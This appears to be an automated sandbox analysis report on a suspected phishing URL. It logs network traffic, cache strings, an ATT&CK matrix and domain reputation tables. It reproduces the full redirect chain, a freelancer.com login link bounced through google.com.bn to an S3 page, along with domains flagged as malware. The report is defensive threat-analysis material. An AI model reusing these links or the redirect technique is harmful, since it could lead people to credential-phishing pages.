Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 21:16:42 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 2prVemDHFew708m+VvJIV+iAxFTkna4gA/0=$IKgecSlB2ZVAwAqVServer: cloudflareCF-RAY: 8ed70f0a9c67726b-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 21:16:49 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: GeWCHFxyWUPu+z8E3xYGhAGliZ4pvBRgPGU=$fsMZP4DRNMFqZr+BServer: cloudflareCF-RAY: 8ed70f3aadfb43e8-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddenx-amz-request-id: CYW8RHYTCDQ9ZVHBx-amz-id-2: WfVzbU6yU0g1nUh43zFsWyn/MVf790HAHfizgy5y3QZzmlruay1pY2tjKugEUlokJcLuqKRn1BkmmHNM9mKBYhlpTwlbvwrNMBEHYRkhB2A=Content-Type: text/html; charset=utf-8Content-Length: 335Date: Thu, 05 Dec 2024 21:16:15 GMTServer: AmazonS3

Source: chromecache_76.2.dr, chromecache_110.2.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_76.2.dr, chromecache_110.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_75.2.dr	String found in binary or memory: https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/
Source: chromecache_76.2.dr, chromecache_110.2.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_75.2.dr	String found in binary or memory: https://hcaptcha.com/1/api.js
Source: chromecache_80.2.dr, chromecache_71.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_80.2.dr, chromecache_71.2.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown

HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49782 version: TLS 1.2

Source: classification engine

Classification label: mal52.win@23/68@44/16

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1584 --field-trial-handle=1948,i,4226973549147182444,5729737476219076830,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.freelancer.com/users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBemf3zEg5VOxgJRxd3H%26fg%3DSSndprYXntqQtLjEHziw%26url%3Damp%252Ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com&user_id=1719536768&uniqid=76018695-412152-662ef280-88c3b518&linkid=6"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1584 --field-trial-handle=1948,i,4226973549147182444,5729737476219076830,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://www.freelancer.com/users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBemf3zEg5VOxgJRxd3H%26fg%3DSSndprYXntqQtLjEHziw%26url%3Damp%252Ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com&user_id=1719536768&uniqid=76018695-412152-662ef280-88c3b518&linkid=6	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru/OtSkvjmchSsJEGhrbseuEqPeaTIvXYqHHGMEEXULSOCDGARUJMFMHTNHTUGWY	100%	Avira URL Cloud	malware
http://fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com/favicon.ico	0%	Avira URL Cloud	safe
https://es.ineffable9.com/favicon.ico	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru	172.67.189.38	true	false	unknown
hcaptcha.com	104.19.230.21	true	false	high
www.google.com.bn	172.217.17.67	true	false	high
code.jquery.com	151.101.194.137	true	false	high
freelancer.map.fastly.net	151.101.2.114	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
es.ineffable9.com	104.21.43.181	true	true	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	142.250.181.100	true	false	high
s3-website.us-east-2.amazonaws.com	3.5.128.104	true	false	unknown
www.microsoft365.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com	unknown	unknown	false	unknown
excel.office.com	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high
www.freelancer.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8ed70eb9892b182d/1733433393199/YnxHomZDnCCubfr	false		high
https://hcaptcha.com/1/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
